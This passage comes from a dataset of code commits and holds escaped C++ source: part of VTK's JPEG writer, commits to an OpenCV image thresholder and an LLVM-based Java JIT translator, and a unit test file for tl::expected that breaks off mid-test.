*>(cinfo->client_data));\n    if (self)\n      {\n      vtkUnsignedCharArray *uc = self->GetResult();\n      \/\/ we must grow the array, we grow by 50% each time\n      int oldSize = uc->GetSize();\n      uc->Resize(oldSize + oldSize\/2);\n      cinfo->dest->next_output_byte = uc->GetPointer(oldSize);\n      cinfo->dest->free_in_buffer = oldSize\/2;\n      }\n    return TRUE;\n  }\n}\n\nextern \"C\"\n{\n  void vtkJPEGWriteToMemoryTerm(j_compress_ptr cinfo)\n  {\n    vtkJPEGWriter *self = vtkJPEGWriter::SafeDownCast(\n      static_cast<vtkObject *>(cinfo->client_data));\n    if (self)\n      {\n      vtkUnsignedCharArray *uc = self->GetResult();\n      \/\/ we must close the array\n      vtkIdType oldSize = uc->GetSize();\n      uc->SetNumberOfTuples(oldSize - static_cast<vtkIdType>(cinfo->dest->free_in_buffer));\n      }\n  }\n}\n\nstruct VTK_JPEG_ERROR_MANAGER\n{\n  struct jpeg_error_mgr pub;\n  jmp_buf setjmp_buffer;\n};\n\ntypedef struct VTK_JPEG_ERROR_MANAGER* VTK_JPEG_ERROR_PTR;\n\nextern \"C\" \n{\n  void\n  VTK_JPEG_ERROR_EXIT (j_common_ptr cinfo)\n{\n  VTK_JPEG_ERROR_PTR jpegErr = (VTK_JPEG_ERROR_PTR) cinfo->err;\n  longjmp(jpegErr->setjmp_buffer, 1);\n}\n}\n\n\n\/\/ we disable this warning because even though this is a C++ file, between\n\/\/ the setjmp and resulting longjmp there should not be any C++ constructors\n\/\/ or destructors.\n#if defined(_MSC_VER) && !defined(VTK_DISPLAY_WIN32_WARNINGS)\n#pragma warning ( disable : 4611 )\n#endif\nvoid vtkJPEGWriter::WriteSlice(vtkImageData *data)\n{\n  \/\/ Call the correct templated function for the output\n  unsigned int ui;\n\n  \/\/ Call the correct templated function for the input\n  if (data->GetScalarType() != VTK_UNSIGNED_CHAR)\n    {\n    vtkWarningMacro(\"JPEGWriter only supports unsigned char input\");\n    return;\n    }   \n\n  if (data->GetNumberOfScalarComponents() > MAX_COMPONENTS)\n    {\n    vtkErrorMacro(\"Exceed JPEG limits for number of components (\" << data->GetNumberOfScalarComponents() << \" > \" << MAX_COMPONENTS << \")\" );\n    return;\n    }\n\n  \/\/ overriding jpeg_error_mgr so we don't exit when an error happens\n  \n  \/\/ Create the jpeg compression object and error handler\n  struct jpeg_compress_struct cinfo;\n  struct VTK_JPEG_ERROR_MANAGER jerr;\n  FILE *fp = 0;\n  if (!this->WriteToMemory)\n    {\n    fp = fopen(this->InternalFileName, \"wb\");\n    if (!fp)\n      {\n      vtkErrorMacro(\"Unable to open file \" << this->InternalFileName);\n      this->SetErrorCode(vtkErrorCode::CannotOpenFileError);\n      return;\n      }\n    }\n\n  cinfo.err = jpeg_std_error(&jerr.pub);\n  jerr.pub.error_exit = VTK_JPEG_ERROR_EXIT;\n  if (setjmp(jerr.setjmp_buffer))\n    {\n    jpeg_destroy_compress(&cinfo);\n    if (!this->WriteToMemory)\n      {\n      fclose(fp);\n      }\n    this->SetErrorCode(vtkErrorCode::OutOfDiskSpaceError);\n    return;\n    }\n  \n  jpeg_create_compress(&cinfo);\n\n  \/\/ set the destination file\n  struct jpeg_destination_mgr compressionDestination;\n  if (this->WriteToMemory)\n    {\n    \/\/ setup the compress structure to write to memory\n    compressionDestination.init_destination = vtkJPEGWriteToMemoryInit;\n    compressionDestination.empty_output_buffer = vtkJPEGWriteToMemoryEmpty;\n    compressionDestination.term_destination = vtkJPEGWriteToMemoryTerm;\n    cinfo.dest = &compressionDestination;\n    cinfo.client_data = static_cast<void *>(this);\n    }\n  else\n    {\n    jpeg_stdio_dest(&cinfo, fp);\n    }\n  \n  \/\/ set the information about image\n  int *uExtent = data->GetUpdateExtent();\n  unsigned int width, height;\n  width = uExtent[1] - uExtent[0] + 1;\n  height = uExtent[3] - uExtent[2] + 1;  \n\n  cinfo.image_width = width;    \/* image width and height, in pixels *\/\n  cinfo.image_height = height;\n\n  cinfo.input_components = data->GetNumberOfScalarComponents();\n  switch (cinfo.input_components)\n    {\n    case 1: cinfo.in_color_space = JCS_GRAYSCALE;\n      break;\n    case 3: cinfo.in_color_space = JCS_RGB;\n      break;\n    default: cinfo.in_color_space = JCS_UNKNOWN;\n      break;\n    }\n\n  \/\/ set the compression parameters\n  jpeg_set_defaults(&cinfo);         \/\/ start with reasonable defaults\n  jpeg_set_quality(&cinfo, this->Quality, TRUE);\n  if (this->Progressive)\n    {\n    jpeg_simple_progression(&cinfo);\n    }\n  \n  \/\/ start compression\n  jpeg_start_compress(&cinfo, TRUE);\n\n  \/\/ write the data. in jpeg, the first row is the top row of the image\n  void *outPtr;\n  outPtr = data->GetScalarPointer(uExtent[0], uExtent[2], uExtent[4]);\n  JSAMPROW *row_pointers = new JSAMPROW [height];\n  int *outInc = data->GetIncrements();\n  int rowInc = outInc[1];\n  for (ui = 0; ui < height; ui++)\n    {\n    row_pointers[height - ui - 1] = (JSAMPROW) outPtr;\n    outPtr = (unsigned char *)outPtr + rowInc;\n    }\n  jpeg_write_scanlines(&cinfo, row_pointers, height);\n  \n  if (!this->WriteToMemory)\n    {\n    if (fflush(fp) == EOF)\n      {\n      this->ErrorCode = vtkErrorCode::OutOfDiskSpaceError;\n      fclose(fp);\n      return;\n      }\n    }\n  \n  \/\/ finish the compression\n  jpeg_finish_compress(&cinfo);\n  \n  \/\/ clean up and close the file\n  delete [] row_pointers;\n  jpeg_destroy_compress(&cinfo);\n  \n  if (!this->WriteToMemory)\n    {\n    fclose(fp);\n    }\n}\n\nvoid vtkJPEGWriter::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os,indent);\n\n  os << indent << \"Quality: \" << this->Quality << \"\\n\";\n  os << indent << \"Progressive: \" << (this->Progressive ? \"On\" : \"Off\") << \"\\n\";\n  os << indent << \"Result: \" << this->Result << \"\\n\";\n  os << indent << \"WriteToMemory: \" << (this->WriteToMemory ? \"On\" : \"Off\") << \"\\n\";\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"ImageThresholder.h\"\n#include <chrono>\n#include <thread>\n\n#define EDSIZE 24\n#define ERODESIZE 10\n\n\/\/#define IMAGETHRESHOLDER_PARALLEL_FOR\n#define IMAGETHRESHOLDER_PARALLEL_THREADS\n\n#ifdef IMAGETHRESHOLDER_PARALLEL_FOR\n#include <ppl.h>\n#endif \n\nImageThresholder::ImageThresholder(ThresholdedImages &images, HSVColorRangeMap &objectMap) : ThreadedClass(\"ImageThresholder\"), thresholdedImages(images), objectMap(objectMap)\n{\n\tstop_thread = false;\n\trunning = false;\n\tm_iWorkersInProgress = 0;\n\n#if defined(IMAGETHRESHOLDER_PARALLEL_THREADS)\n\tfor (auto objectRange : objectMap) {\n\t\tauto object = objectRange.first;\n\t\t\/\/threads.create_thread(boost::bind(&ImageThresholder::Run2, this, objectRange.first));\n\t\tthreads.add_thread(new boost::thread(&ImageThresholder::Run2, this, objectRange.first));\n\n\t}\n#endif\n\n\telemDilate = cv::getStructuringElement(cv::MORPH_RECT, cv::Size(EDSIZE, EDSIZE)); \/\/millega hiljem erode ja dilatet teha\n\telemErode = cv::getStructuringElement(cv::MORPH_RECT, cv::Size(EDSIZE + 6, EDSIZE + 6));\n\telemErode2 = cv::getStructuringElement(cv::MORPH_RECT, cv::Size(ERODESIZE, ERODESIZE));\n\n};\n\nImageThresholder::~ImageThresholder(){\n\tWaitForStop();\n};\n\n\nvoid ImageThresholder::Start(cv::Mat &frameHSV, std::vector<OBJECT> objectList) {\n#if defined(IMAGETHRESHOLDER_PARALLEL_FOR)\n\t\tconcurrency::parallel_for_each(begin(objectList), end(objectList), [&frameHSV, this](OBJECT object) {\n\t\t\tauto r = objectMap[object];\n\t\t\tinRange(frameHSV, cv::Scalar(r.hue.low, r.sat.low, r.val.low), cv::Scalar(r.hue.high, r.sat.high, r.val.high), thresholdedImages[object]);\n\t\t});\n#elif defined(IMAGETHRESHOLDER_PARALLEL_THREADS)\n\tif (m_iWorkersInProgress > 0) {\n\t\tstd::cout << \"Still working\" << std::endl;\n\t}\n\tframe = frameHSV;\n\tint mask = 0;\n\tfor (auto &object : objectList) {\n\t\t\/\/std::cout << \"mask \" << (1 << object) << \" \" <<( mask | (1 << object)) << std::endl;\n\t\tmask = mask | (1 << object);\n\t}\n\tm_iWorkersInProgress = mask;\n\n\twhile (m_iWorkersInProgress > 0) {\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(1)); \/\/ limit fps to about 50fps\n\t}\n\t\/*\n\t\tfor (auto &object : objectList) {\n\t\t\tthreads.create_thread([&frameHSV, object, this]{\n\t\t\t\tauto r = objectMap[object];\n\t\t\t\tdo {\n\t\t\t\t\tinRange(frameHSV, cv::Scalar(r.hue.low, r.sat.low, r.val.low), cv::Scalar(r.hue.high, r.sat.high, r.val.high), thresholdedImages[object]);\n\t\t\t\t} while (thresholdedImages[object].size().height == 0);\n\t\t\t});\n\t\t}\n\t*\/\n#else\n\t\tfor (auto &object : objectList) {\n\t\t\tauto r = objectMap[object];\n\t\t\tinRange(frameHSV, cv::Scalar(r.hue.low, r.sat.low, r.val.low), cv::Scalar(r.hue.high, r.sat.high, r.val.high), thresholdedImages[object]);\n\t\t}\n#endif\n\t\t\/*\n\t\tif (object == BLUE_GATE || object == YELLOW_GATE) {\n\t\tcv::erode(thresholdedImages[object],thresholdedImages[object],elemErode2);\n\t\t}\n\t\tcv::dilate(thresholdedImages[object],thresholdedImages[object],elemErode2);\n\n\t\t*\/\n\t}\n\n\nvoid  ImageThresholder::Run2(OBJECT object){\n\twhile (!stop_thread) {\n\t\tif (m_iWorkersInProgress & (1 << object)) {\n\t\t\tauto r = objectMap[object];\n\t\t\tinRange(frame, cv::Scalar(r.hue.low, r.sat.low, r.val.low), cv::Scalar(r.hue.high, r.sat.high, r.val.high), thresholdedImages[object]);\n\t\t\tm_iWorkersInProgress &= ~(1 << object);\n\t\t}\n\t\telse {\n\t\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(1));\n\t\t}\n\t}\n};\n\n\n<commit_msg>placeholder for code<commit_after>#include \"ImageThresholder.h\"\n#include <chrono>\n#include <thread>\n\n#define EDSIZE 24\n#define ERODESIZE 10\n\n\/\/#define IMAGETHRESHOLDER_PARALLEL_FOR\n\/\/#define IMAGETHRESHOLDER_PARALLEL_THREADS\n#define IMAGETHRESHOLDER_PARALLEL_INRANGE\n\n#ifdef IMAGETHRESHOLDER_PARALLEL_FOR\n#include <ppl.h>\n#endif \n\nImageThresholder::ImageThresholder(ThresholdedImages &images, HSVColorRangeMap &objectMap) : ThreadedClass(\"ImageThresholder\"), thresholdedImages(images), objectMap(objectMap)\n{\n\tstop_thread = false;\n\trunning = false;\n\tm_iWorkersInProgress = 0;\n\n#if defined(IMAGETHRESHOLDER_PARALLEL_THREADS)\n\tfor (auto objectRange : objectMap) {\n\t\tauto object = objectRange.first;\n\t\t\/\/threads.create_thread(boost::bind(&ImageThresholder::Run2, this, objectRange.first));\n\t\tthreads.add_thread(new boost::thread(&ImageThresholder::Run2, this, objectRange.first));\n\n\t}\n#endif\n\n\telemDilate = cv::getStructuringElement(cv::MORPH_RECT, cv::Size(EDSIZE, EDSIZE)); \/\/millega hiljem erode ja dilatet teha\n\telemErode = cv::getStructuringElement(cv::MORPH_RECT, cv::Size(EDSIZE + 6, EDSIZE + 6));\n\telemErode2 = cv::getStructuringElement(cv::MORPH_RECT, cv::Size(ERODESIZE, ERODESIZE));\n\n};\n\nImageThresholder::~ImageThresholder(){\n\tWaitForStop();\n};\n\n\nvoid ImageThresholder::Start(cv::Mat &frameHSV, std::vector<OBJECT> objectList) {\n#if defined(IMAGETHRESHOLDER_PARALLEL_FOR)\n\t\tconcurrency::parallel_for_each(begin(objectList), end(objectList), [&frameHSV, this](OBJECT object) {\n\t\t\tauto r = objectMap[object];\n\t\t\tinRange(frameHSV, cv::Scalar(r.hue.low, r.sat.low, r.val.low), cv::Scalar(r.hue.high, r.sat.high, r.val.high), thresholdedImages[object]);\n\t\t});\n#elif defined(IMAGETHRESHOLDER_PARALLEL_THREADS)\n\tif (m_iWorkersInProgress > 0) {\n\t\tstd::cout << \"Still working\" << std::endl;\n\t}\n\tframe = frameHSV;\n\tint mask = 0;\n\tfor (auto &object : objectList) {\n\t\t\/\/std::cout << \"mask \" << (1 << object) << \" \" <<( mask | (1 << object)) << std::endl;\n\t\tmask = mask | (1 << object);\n\t}\n\tm_iWorkersInProgress = mask;\n\n\twhile (m_iWorkersInProgress > 0) {\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(1)); \/\/ limit fps to about 50fps\n\t}\n\t\/*\n\t\tfor (auto &object : objectList) {\n\t\t\tthreads.create_thread([&frameHSV, object, this]{\n\t\t\t\tauto r = objectMap[object];\n\t\t\t\tdo {\n\t\t\t\t\tinRange(frameHSV, cv::Scalar(r.hue.low, r.sat.low, r.val.low), cv::Scalar(r.hue.high, r.sat.high, r.val.high), thresholdedImages[object]);\n\t\t\t\t} while (thresholdedImages[object].size().height == 0);\n\t\t\t});\n\t\t}\n\t*\/\n#elif defined(IMAGETHRESHOLDER_PARALLEL_INRANGE)\n\t#error add code here\n#else\n\t\tfor (auto &object : objectList) {\n\t\t\tauto r = objectMap[object];\n\t\t\tinRange(frameHSV, cv::Scalar(r.hue.low, r.sat.low, r.val.low), cv::Scalar(r.hue.high, r.sat.high, r.val.high), thresholdedImages[object]);\n\t\t}\n#endif\n\t\t\/*\n\t\tif (object == BLUE_GATE || object == YELLOW_GATE) {\n\t\tcv::erode(thresholdedImages[object],thresholdedImages[object],elemErode2);\n\t\t}\n\t\tcv::dilate(thresholdedImages[object],thresholdedImages[object],elemErode2);\n\n\t\t*\/\n\t}\n\n\nvoid  ImageThresholder::Run2(OBJECT object){\n\twhile (!stop_thread) {\n\t\tif (m_iWorkersInProgress & (1 << object)) {\n\t\t\tauto r = objectMap[object];\n\t\t\tinRange(frame, cv::Scalar(r.hue.low, r.sat.low, r.val.low), cv::Scalar(r.hue.high, r.sat.high, r.val.high), thresholdedImages[object]);\n\t\t\tm_iWorkersInProgress &= ~(1 << object);\n\t\t}\n\t\telse {\n\t\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(1));\n\t\t}\n\t}\n};\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"hornet\/java.hh\"\n\n#include \"hornet\/translator.hh\"\n#include \"hornet\/vm.hh\"\n\n#include <cassert>\n\n#include <classfile_constants.h>\n#include <jni.h>\n\n#include \"llvm\/ExecutionEngine\/ExecutionEngine.h\"\n#include \"llvm\/Support\/TargetSelect.h\"\n#include \"llvm\/ExecutionEngine\/JIT.h\"\n#include \"llvm\/Analysis\/Verifier.h\"\n#include \"llvm\/IR\/IRBuilder.h\"\n#include \"llvm\/IR\/Module.h\"\n\nusing namespace std;\n\nnamespace hornet {\n\nusing namespace llvm;\n\nModule*          module;\nExecutionEngine* engine;\n\nType* typeof(type t)\n{\n    switch (t) {\n    case type::t_int: return Type::getInt32Ty(getGlobalContext());\n    default:          assert(0);\n    }\n}\n\nInstruction::BinaryOps to_binary_op(binop op)\n{\n    switch (op) {\n    case binop::op_add: return Instruction::BinaryOps::Add;\n    default:            assert(0);\n    }\n}\n\nclass llvm_translator : public translator {\npublic:\n    llvm_translator(method* method);\n    ~llvm_translator();\n\n    template<typename T>\n    T trampoline();\n\n    virtual void prologue () override;\n    virtual void op_const (type t, int64_t value) override;\n    virtual void op_load  (type t, uint16_t idx) override;\n    virtual void op_store (type t, uint16_t idx) override;\n    virtual void op_binary(type t, binop op) override;\n    virtual void op_returnvoid() override;\n\nprivate:\n    AllocaInst* lookup_local(unsigned int idx, Type* type);\n\n    std::stack<Value*> _mimic_stack;\n    std::vector<AllocaInst*> _locals;\n    IRBuilder<> _builder;\n    Function* _func;\n    method* _method;\n};\n\nFunctionType* function_type(IRBuilder<>& builder, method* method)\n{\n    return FunctionType::get(builder.getVoidTy(), false);\n}\n\nFunction* function(IRBuilder<>& builder, method* method)\n{\n    auto func_type = function_type(builder, method);\n    auto func = Function::Create(func_type, Function::ExternalLinkage, method->name, module);\n    auto entry = BasicBlock::Create(builder.getContext(), \"entry\", func);\n    builder.SetInsertPoint(entry);\n    return func;\n}\n\nllvm_translator::llvm_translator(method* method)\n    : translator(method)\n    , _locals(method->max_locals)\n    , _builder(module->getContext())\n    , _method(method)\n{\n    _func = function(_builder, _method);\n}\n\nllvm_translator::~llvm_translator()\n{\n}\n\ntemplate<typename T> T llvm_translator::trampoline()\n{\n    verifyFunction(*_func, PrintMessageAction);\n    return reinterpret_cast<T>(engine->getPointerToFunction(_func));\n}\n\nAllocaInst* llvm_translator::lookup_local(unsigned int idx, Type* type)\n{\n    if (_locals[idx]) {\n        return _locals[idx];\n    }\n    IRBuilder<> builder(&_func->getEntryBlock(), _func->getEntryBlock().begin());\n    auto ret = builder.CreateAlloca(type, nullptr, \"\");\n    _locals[idx] = ret;\n    return ret;\n}\n\nvoid llvm_translator::prologue()\n{\n}\n\nvoid llvm_translator::op_const(type t, int64_t value)\n{\n    auto c = ConstantInt::get(typeof(t), value, 0);\n\n    _mimic_stack.push(c);\n}\n\nvoid llvm_translator::op_load(type t, uint16_t idx)\n{\n    auto value = _builder.CreateLoad(_locals[idx]);\n\n    _mimic_stack.push(value);\n}\n\nvoid llvm_translator::op_store(type t, uint16_t idx)\n{\n    auto value = _mimic_stack.top();\n    _mimic_stack.pop();\n    auto local = lookup_local(idx, typeof(t));\n    _builder.CreateStore(value, local);\n}\n\nvoid llvm_translator::op_binary(type t, binop op)\n{\n    auto value2 = _mimic_stack.top();\n    _mimic_stack.pop();\n    auto value1 = _mimic_stack.top();\n    _mimic_stack.pop();\n    auto result = _builder.CreateBinOp(to_binary_op(op), value1, value2);\n    _mimic_stack.push(result);\n}\n\nvoid llvm_translator::op_returnvoid()\n{\n    _builder.CreateRetVoid();\n}\n\nllvm_backend::llvm_backend()\n{\n    InitializeNativeTarget();\n    module = new Module(\"JIT\", getGlobalContext());\n    auto engine_builder = EngineBuilder(module);\n    std::string error_str;\n    engine_builder.setErrorStr(&error_str);\n    engine = engine_builder.create();\n    if (!engine) {\n        throw std::runtime_error(error_str);\n    }\n}\n\nllvm_backend::~llvm_backend()\n{\n    delete engine;\n}\n\nvalue_t llvm_backend::execute(method* method, frame& frame)\n{\n    llvm_translator translator(method);\n\n    translator.translate();\n\n    auto fp = translator.trampoline<value_t (*)()>();\n\n    return fp();\n}\n\n}\n<commit_msg>llvm: Integer arithmetic<commit_after>#include \"hornet\/java.hh\"\n\n#include \"hornet\/translator.hh\"\n#include \"hornet\/vm.hh\"\n\n#include <cassert>\n\n#include <classfile_constants.h>\n#include <jni.h>\n\n#include \"llvm\/ExecutionEngine\/ExecutionEngine.h\"\n#include \"llvm\/Support\/TargetSelect.h\"\n#include \"llvm\/ExecutionEngine\/JIT.h\"\n#include \"llvm\/Analysis\/Verifier.h\"\n#include \"llvm\/IR\/IRBuilder.h\"\n#include \"llvm\/IR\/Module.h\"\n\nusing namespace std;\n\nnamespace hornet {\n\nusing namespace llvm;\n\nModule*          module;\nExecutionEngine* engine;\n\nType* typeof(type t)\n{\n    switch (t) {\n    case type::t_int: return Type::getInt32Ty(getGlobalContext());\n    default:          assert(0);\n    }\n}\n\nInstruction::BinaryOps to_binary_op(binop op)\n{\n    switch (op) {\n    case binop::op_add: return Instruction::BinaryOps::Add;\n    case binop::op_sub: return Instruction::BinaryOps::Sub;\n    case binop::op_mul: return Instruction::BinaryOps::Mul;\n    case binop::op_div: return Instruction::BinaryOps::SDiv;\n    case binop::op_rem: return Instruction::BinaryOps::SRem;\n    case binop::op_and: return Instruction::BinaryOps::And;\n    case binop::op_or:  return Instruction::BinaryOps::Or;\n    case binop::op_xor: return Instruction::BinaryOps::Xor;\n    default:            assert(0);\n    }\n}\n\nclass llvm_translator : public translator {\npublic:\n    llvm_translator(method* method);\n    ~llvm_translator();\n\n    template<typename T>\n    T trampoline();\n\n    virtual void prologue () override;\n    virtual void op_const (type t, int64_t value) override;\n    virtual void op_load  (type t, uint16_t idx) override;\n    virtual void op_store (type t, uint16_t idx) override;\n    virtual void op_binary(type t, binop op) override;\n    virtual void op_returnvoid() override;\n\nprivate:\n    AllocaInst* lookup_local(unsigned int idx, Type* type);\n\n    std::stack<Value*> _mimic_stack;\n    std::vector<AllocaInst*> _locals;\n    IRBuilder<> _builder;\n    Function* _func;\n    method* _method;\n};\n\nFunctionType* function_type(IRBuilder<>& builder, method* method)\n{\n    return FunctionType::get(builder.getVoidTy(), false);\n}\n\nFunction* function(IRBuilder<>& builder, method* method)\n{\n    auto func_type = function_type(builder, method);\n    auto func = Function::Create(func_type, Function::ExternalLinkage, method->name, module);\n    auto entry = BasicBlock::Create(builder.getContext(), \"entry\", func);\n    builder.SetInsertPoint(entry);\n    return func;\n}\n\nllvm_translator::llvm_translator(method* method)\n    : translator(method)\n    , _locals(method->max_locals)\n    , _builder(module->getContext())\n    , _method(method)\n{\n    _func = function(_builder, _method);\n}\n\nllvm_translator::~llvm_translator()\n{\n}\n\ntemplate<typename T> T llvm_translator::trampoline()\n{\n    verifyFunction(*_func, PrintMessageAction);\n    return reinterpret_cast<T>(engine->getPointerToFunction(_func));\n}\n\nAllocaInst* llvm_translator::lookup_local(unsigned int idx, Type* type)\n{\n    if (_locals[idx]) {\n        return _locals[idx];\n    }\n    IRBuilder<> builder(&_func->getEntryBlock(), _func->getEntryBlock().begin());\n    auto ret = builder.CreateAlloca(type, nullptr, \"\");\n    _locals[idx] = ret;\n    return ret;\n}\n\nvoid llvm_translator::prologue()\n{\n}\n\nvoid llvm_translator::op_const(type t, int64_t value)\n{\n    auto c = ConstantInt::get(typeof(t), value, 0);\n\n    _mimic_stack.push(c);\n}\n\nvoid llvm_translator::op_load(type t, uint16_t idx)\n{\n    auto value = _builder.CreateLoad(_locals[idx]);\n\n    _mimic_stack.push(value);\n}\n\nvoid llvm_translator::op_store(type t, uint16_t idx)\n{\n    auto value = _mimic_stack.top();\n    _mimic_stack.pop();\n    auto local = lookup_local(idx, typeof(t));\n    _builder.CreateStore(value, local);\n}\n\nvoid llvm_translator::op_binary(type t, binop op)\n{\n    auto value2 = _mimic_stack.top();\n    _mimic_stack.pop();\n    auto value1 = _mimic_stack.top();\n    _mimic_stack.pop();\n    auto result = _builder.CreateBinOp(to_binary_op(op), value1, value2);\n    _mimic_stack.push(result);\n}\n\nvoid llvm_translator::op_returnvoid()\n{\n    _builder.CreateRetVoid();\n}\n\nllvm_backend::llvm_backend()\n{\n    InitializeNativeTarget();\n    module = new Module(\"JIT\", getGlobalContext());\n    auto engine_builder = EngineBuilder(module);\n    std::string error_str;\n    engine_builder.setErrorStr(&error_str);\n    engine = engine_builder.create();\n    if (!engine) {\n        throw std::runtime_error(error_str);\n    }\n}\n\nllvm_backend::~llvm_backend()\n{\n    delete engine;\n}\n\nvalue_t llvm_backend::execute(method* method, frame& frame)\n{\n    llvm_translator translator(method);\n\n    translator.translate();\n\n    auto fp = translator.trampoline<value_t (*)()>();\n\n    return fp();\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"catch.hpp\"\n#include \"expected.hpp\"\n\n#define TOKENPASTE(x, y) x##y\n#define TOKENPASTE2(x, y) TOKENPASTE(x, y)\n#define STATIC_REQUIRE(e)                                                      \\\n  constexpr bool TOKENPASTE2(rqure, __LINE__) = e;                             \\\n  REQUIRE(e);\n\nTEST_CASE(\"Map extensions\", \"[extensions.map]\") {\n  auto mul2 = [](auto a) { return a * 2; };\n  auto ret_void = [](auto a) {};\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = e.map(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = e.map(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = std::move(e).map(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = std::move(e).map(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.map(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.map(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).map(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).map(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 21);\n  }\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = e.map(ret_void);\n    REQUIRE(ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = e.map(ret_void);\n    REQUIRE(ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = std::move(e).map(ret_void);\n    REQUIRE(ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = std::move(e).map(ret_void);\n    REQUIRE(ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.map(ret_void);\n    REQUIRE(!ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.map(ret_void);\n    REQUIRE(!ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).map(ret_void);\n    REQUIRE(!ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).map(ret_void);\n    REQUIRE(!ret);\n    STATIC_REQUIRE(\n        (std::is_same<decltype(ret), tl::expected<tl::monostate, int>>::value));\n  }\n}\n\nTEST_CASE(\"Map error extensions\", \"[extensions.map_error]\") {\n  auto mul2 = [](auto a) { return a * 2; };\n  auto ret_void = [](auto a) {};\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = e.map_error(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 21);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = e.map_error(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 21);\n  }\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = std::move(e).map_error(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 21);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = std::move(e).map_error(mul2);\n    REQUIRE(ret);\n    REQUIRE(*ret == 21);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.map_error(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 42);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = e.map_error(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 42);\n  }\n\n  {\n    tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).map_error(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 42);\n  }\n\n  {\n    const tl::expected<int, int> e(tl::unexpect, 21);\n    auto ret = std::move(e).map_error(mul2);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 42);\n  }\n}\n\nTEST_CASE(\"And then extensions\", \"[extensions.and_then]\") {\n  auto succeed = [](auto a) { return tl::expected<int, int>(21 * 2); };\n  auto fail = [](auto a) { return tl::expected<int, int>(tl::unexpect, 17); };\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = e.and_then(succeed);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = e.and_then(succeed);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = std::move(e).and_then(succeed);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = std::move(e).and_then(succeed);\n    REQUIRE(ret);\n    REQUIRE(*ret == 42);\n  }\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = e.and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 17);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = e.and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 17);\n  }\n\n  {\n    tl::expected<int, int> e = 21;\n    auto ret = std::move(e).and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 17);\n  }\n\n  {\n    const tl::expected<int, int> e = 21;\n    auto ret = std::move(e).and_then(fail);\n    REQUIRE(!ret);\n    REQUIRE(ret.error() == 